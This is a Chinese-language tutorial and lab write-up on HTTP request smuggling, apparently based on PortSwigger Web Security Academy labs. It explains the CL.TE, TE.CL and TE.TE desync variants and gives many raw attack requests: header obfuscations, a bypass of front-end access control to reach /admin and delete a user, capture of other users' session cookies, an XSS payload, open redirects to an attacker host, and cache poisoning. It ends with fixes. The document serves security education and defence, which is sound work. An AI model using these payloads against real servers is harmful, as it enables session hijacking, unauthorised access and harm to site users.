前言
HTTP请求走私是一种干扰网站正常处理从一个或多个用户收到的HTTP请求的方法,请求走私漏洞在本质上通常很关键,允许攻击者绕过安全控制,获得对敏感数据的未授权访问,并直接危害其他应用程序的用户。
随便提一句:本文的环境为网站https://portswigger.net/提供的在线环境。
漏洞成因简介
现在的网络架构,一般后端真实响应的服务器前端还有存在一个反向代理或者负载均衡的服务器,例如常见的Nginx + tomcat的响应方式。
为了提升响应效率,降低连接数等原因,前端服务器在将请求转发至后端服务器时,通常会将多个请求数据包打包一起打给后端服务器(http协议允许这么做),然后由后端服务器根据http 中的请求头"Content-Length"或者"Transfer-Encoding" 来判断一个请求的结束,这里就会出现一个问题那就时前端服务器和后端服务器判断数据是否属于一个请求时可能会存在冲突,导致请求的分割出现问题,从而导致了请求走私的发生。
下面是关于 Transfer-Encoding的简介,请求走私涉及的内容就是,如下格式的请求头。
Transfer-Encoding:chunked
-
如果一个HTTP消息(包括客户端发送的请求消息或服务器返回的应答消息)的Transfer-Encoding消息头的值为chunked,那么,消息体由数量未定的块组成,并以最后一个大小为0的块为结束。
-
每一个非空的块都以该块包含数据的字节数(字节数以十六进制表示)开始,跟随一个CRLF (回车及换行),然后是数据本身,最后块CRLF结束。在一些实现中,块大小和CRLF之间填充有白空格(0x20)。
-
最后一块是单行,由块大小(0),一些可选的填充白空格,以及CRLF。最后一块不再包含任何数据,但是可以发送可选的尾部,包括消息头字段。
-
消息最后以CRLF结尾。
RFC 2616 如果收到的消息同时带有 Transfer-Encoding 头域和 Content-Length 头域,则必须忽略后者。
漏洞示例详解
实验环境是在线的:https://portswigger.net/web-security/request-smuggling。
根据前后端判断数据包是否结束的http头不同,可以分为如下三种情况,。
- CL.TE:前端服务器使用Content-Lengthheader,后端服务器使用Transfer-Encodingheader。
- TE.CL:前端服务器使用Transfer-Encodingheader,后端服务器使用Content-Lengthheader。
- TE.TE:前端服务器和后端服务器都支持Transfer-Encodingheader,但是可以通过某种方式混淆header来诱导其中一台服务器不处理它。
还有一种前后都使用Content-length作为判断依据时,为了使得前后不一致,那么就必须添加Transfer-Encoding,而根据RFC 2616 的定义 如果收到的消息同时带有 Transfer-Encoding 头域和 Content-Length 头域,则必须忽略后者。所以就跟上诉的情况重复了
在实验之前,需要注意一件事,那就是是否勾选了burp如上的这个选项,他会主动的将content-length的长度调整为实际的长度。
以下所有的情况,都是需要前端服务器认为是一个数据包,而后端判断不是一个数据包,从而达到各种各样的效果。
CL.TE
请求包示例如下
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
对于CL.TE的这种情况来说,burp的Update Content-Length是否勾选是不影响结果的,这是因为,本来就是需要以Content-Length为判断标准的前端服务器认为这是一个请求包。
连续两次请求示例数据包,可能看到,后端将第一次请求中的G,作为第二次请求的开头进行解析。
TE.CL
请求示例数据包,最后记得两次回车,因为Transfer-Encoding就是以这个结束的。
也就是在数据流的情况下,是以以下内容结束的。
0\r\n
\r\n
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked
60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
一定要取消burp的Update Content-Length的勾选。
TE.TE
根据相关规定如果两者都存在,都支持的请求下会忽略content-length, 如果前后端服务器均支持的话,那么可以对Transfer-Encoding进行混淆,使得其中一个不支持Transfer-Encoding,那么就会演变成上面讲述的两种情况。
混淆示例
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
漏洞检测
在进行实验时,需要注意以下几点
- chunked分块传输时,计算每块的字节数时,最后一行是没有回车换行的。
- 普通方式传输时结束时也是没有回车换行的
- CL.TE类型的请求走私中,记得更新Content-Length的字节数
- TE.CL类型级记得更新作为POC的块的长度。
利用时间延迟
这种方法就是使用指定超出实际长度的Content-length或者没有结尾的chunck来让服务器以为请求不完整进行等待。从而造成时间延迟。
CL.TE
这个请求构造的是真的秒啊,如果存在延时返回就是存在http走私。
首先前端服务器是通过content-length来判断报文是否结束的,然后就会将最后的X剔除掉,成为符合Transfer-Encoding: chunked格式的请求数据包,并且没有结束符号,那么就会被等待。
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
TE.CL
通过"Transfer-Encoding: chunked" 将最后的数据剔除,同样的会符合content-length格式的数据,但是数据长度不够,就会造成等待。
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
利用响应内容判断
原请求
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
构造请求如下,如果成立的话就会返回404,不是这种情况的话那么也就是会返回解锁不到结果等内容。而不是状态码404.
CL.TE
探测数据包示例如图所示。
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
下面为在实验环境中成功尝试的截图,
TE.CL
请求包示例
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0
实验截图
探测工具
- https://github.com/defparam/smuggler
- burp中的扩展插件http request smuggler
漏洞利用
绕过前端限制
假设一个应用程序使用前端服务器来实现访问控制限制,只有在用户被授权访问所请求的 URL 时才转发请求。后端服务器随后会接受每个请求而无需进一步检查。在这种情况下,可以使用 HTTP 请求走私漏洞通过将请求走私到受限 URL 来绕过访问控制。
CL.TE 绕过前端验证
尝试使用请求走私访问admin
POST / HTTP/1.1
Host: 0a64007703f07864c384deb600b6005e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: Keep-Alive
Content-Length:32
Transfer-Encoding:chunked
0
GET /admin HTTP/1.1
FOOr:a
可以看到返回结果时未认证。
尝试绕过
POST / HTTP/1.1
Host: 0a64007703f07864c384deb600b6005e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: Keep-Alive
Content-Length:32
Transfer-Encoding:chunked
0
GET /admin HTTP/1.1
Host:localhost
FOOr:a
使用特殊host的值进行绕过,又发现了新的问题,那就是重复、冲突的http头的值
通过构造格式,将后面走私的数据作为http请求的正文,而不是作为请求头了,而且由于get请求不解析请求内容,所以不影响。
POST / HTTP/1.1
Host: 0a64007703f07864c384deb600b6005e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: Keep-Alive
Content-Length:74
Transfer-Encoding:chunked
0
GET /admin HTTP/1.1
Host:localhost
FOOr:a
Content-Length: 50 //这个也一定要有
x=
尝试进行其他操作,成功删除用户。
TE.CL的请求包
POST / HTTP/1.1
Host: 0a32001003c41b91c3a5fcb5003c00fc.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: Keep-Alive
Content-Length:4
Transfer-Encoding:chunked
5c
GET /admin/delete?username=carlos HTTP/1.1
Host:localhost
FOOr:a
Content-Length: 50 //一定要有
x=
0
可以看到成功删除
暴露请求重写内容
在前端服务器将请求转发给后端服务器时,可能会对请求进行一部分的重写,例如添加一些类似与token啦,认证数据之类的内容。那么我们就需要得到这部分内容,进行权限的提升。
需要注意一点,我们通过请求走私读取http头中重写的内容,是为了绕过权限验证,而不是没有这个就不能正常请求,不然的话就没办法玩了。
具体操作方法如下
- 找到会反射输入内容的参数,就是类似存在xss的
- 将这个参数放在请求的最后,然后就可以通过走私,将下一个数据包的请求同部分作为这个参数的内容,然后会被反射到页面的值中
数据包示例如下。需要注意的就是要把握好Content-length的长度
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close
search=test
绕过权限,删除账户
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
X-abcdef-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10 //一定要有。
Connection: close
x=1
绕过客户端验证
作为 TLS 握手的一部分,服务器通过提供证书向客户端(通常是浏览器)验证自己。此证书包含他们的“公用名”(CN),该名称应与他们注册的主机名相匹配。然后客户端可以使用它来验证他们正在与属于预期域的合法服务器对话。
一些站点更进一步并实施一种相互 TLS 身份验证的形式,其中客户端还必须向服务器出示证书。在这种情况下,客户端的 CN 通常是用户名等,例如,它可以在后端应用程序逻辑中用作访问控制机制的一部分。
对客户端进行身份验证的组件通常通过一个或多个非标准 HTTP 标头将相关详细信息从证书传递到应用程序或后端服务器。例如,前端服务器有时会将包含客户端 CN 的标头附加到任何传入请求
GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos
利用走私进行读取,绕后进行绕过,实际上,这种行为通常不可利用,因为前端服务器往往会覆盖这些标头(如果它们已经存在)。但是,走私的请求完全对前端隐藏,因此它们包含的任何标头都将原封不动地发送到后端。
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x
捕获其他用户请求
如果应用程序中存在存储和搜索之类的功能,也就是可以将输入反射出来的功能点,那么久可以通过HTTP请求走私来捕获其他用户请求的内容,在这些请求中,可能会包含会话令牌等敏感数据。常见的功能点就是:评论、电子邮件、个人资料描述、屏幕名称等。
需要捕获其他用户的数据,那么就需要走私一个带有参数。可以将参数内容映射出来的功能点,可以时存储,也可以是直接反应在返回包中。
我们可以走私一个上述相关的请求,然后将会被反射出来的值得到参数放到最后,类似与上面那个读取重写的请求的方式。
请求包
POST / HTTP/1.1
Host: 0a9900cb03aee7bbc40ea0cd00f70096.web-security-academy.net
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: Keep-Alive
Content-Length:258
Transfer-Encoding:chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length:500
Cookie: __e_inc=1; session=84CauFGTySSY3WBKaGtjfJt05kH7IQSc
csrf=kWC5SidMdxs6JV3R86vgd4uiZZJsXnVy&postId=3&name=bbb&email=ccc%40qq.com&website=&comment=
我刚开始的时候还会报错,原来是没有添加cookie,
调整数据包大小后,还是有成功的获取到部分有效数据的,像,secret、session等,成功劫持会话
使用HTTP请求走私利用反射XSS
- 不需要与受害用户进行交互。无需向他们提供 URL 并等待用户访问。您只需走私一个包含 XSS 负载的请求,就会命中后端服务器处理的下一个用户请求。
- 可以利用部分请求中的XSS行为,符合条件的都是在正常XSS中可以简单进行控制的。,例如 HTTP 请求标头。
例如,假设某个应用程序的User-Agent标头中存在反射型 XSS 漏洞。您可以在请求走私攻击中利用它,
POC
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
重定向
利用请求走私将站内重定向转换为开放重定向
许多程序会将一个URL的请求重定向到另外的一个URL,并将HTTP标头中的主机名放入重定向URL,Apache和IIS Web服务器的默认行为,然后再请求的连接最后添加上对应的路径。
将走私内容的请求地址设置为自己服务器的web端口,然后观察是否能可以接收到对应的访问信息即可。
请求示例包
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
走私的请求可能会被解析成如下请求与返回包,无需与用户进行交互,即可将重定向到攻击者的网站上。
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
在这里,用户的请求是针对由网站上的页面导入的 JavaScript 文件。攻击者可以通过在响应中返回他们自己的 JavaScript 来完全危害受害用户。
将目录相对重定向转换为开放重定向
示例请求与返回内容
GET /example HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: /example/
如果服务器允许您在路径中使用协议相对 URL,这可能仍可用于开放重定向:
GET //attacker-website.com/example HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: //attacker-website.com/example/
使用HTTP请求走私执行Web缓存投毒
这里的缓存投毒使用更加简单了,只要使用相应的请求包请求执行成功之后,只要环境中存在前端缓存的情况下,那么也不再需要像正常实施Web缓存投毒那样进行构造,注意缓存键(识别请求包是否相等)和非缓存键了。
请求包示例
POST / HTTP/1.1
Host: 0a5900c104a3b70fc03059cc00db0014.web-security-academy.net
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=6 HTTP/1.1
Host:exploit-0aba00c604b1b7b2c0ed589401110032.exploit-server.net
Content-length: 20
x=
GET /post?postId=7 HTTP/1.1
Host: exploit-0aba00c604b1b7b2c0ed589401110032.exploit-server.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
设置攻击服务器返回内容
重复多次的反复请求上面的两个数据包,总有拼接成功的时候,到时候,访问JS文件就会被跳转到攻击者的服务器中
从此时开始,当其他用户请求此 URL 时,他们会收到重定向到攻击者网站的信息。
此外还可以使用web缓存尽心通过欺骗用户,操作方法与上述相同。只不过是返回定制的具有欺骗性的内容。
漏洞修复
使用 HTTP/2 端到端并尽可能禁用 HTTP 降级。HTTP/2 使用稳健的机制来确定请求的长度,并且在端到端使用时,本质上可以防止请求走私。如果无法避免 HTTP 降级,请确保根据 HTTP/1.1 规范验证重写的请求。例如,拒绝标头中包含换行符、标头名称中包含冒号以及请求方法中包含空格的请求。
使前端服务器规范化不明确的请求,并使后端服务器拒绝任何仍然不明确的请求,并在此过程中关闭 TCP 连接。
永远不要假设请求没有主体。这是 CL.0 和客户端不同步漏洞的根本原因。
如果在处理请求时触发服务器级异常,则默认丢弃连接。
如果您通过转发代理路由流量,请确保在可能的情况下启用上游 HTTP/2。
参考
https://zh.m.wikipedia.org/zh-sg/%E5%88%86%E5%9D%97%E4%BC%A0%E8%BE%93%E7%BC%96%E7%A0%81
https://portswigger.net/web-security/request-smuggling
https://ricardoiramar.medium.com/the-powerful-http-request-smuggling-af208fafa142
https://medium.com/@StealthyBugs/http-request-smuggling-on-business-apple-com-and-others-2c43e81bcc52
https://infosecwriteups.com/exploiting-http-request-smuggling-te-cl-xss-to-website-takeover-c0fc634a661b
https://blog.shiftleft.io/http-request-smuggling-a-primer-dc5beb2ed9b5
https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
https://portswigger.net/web-security/request-smuggling/finding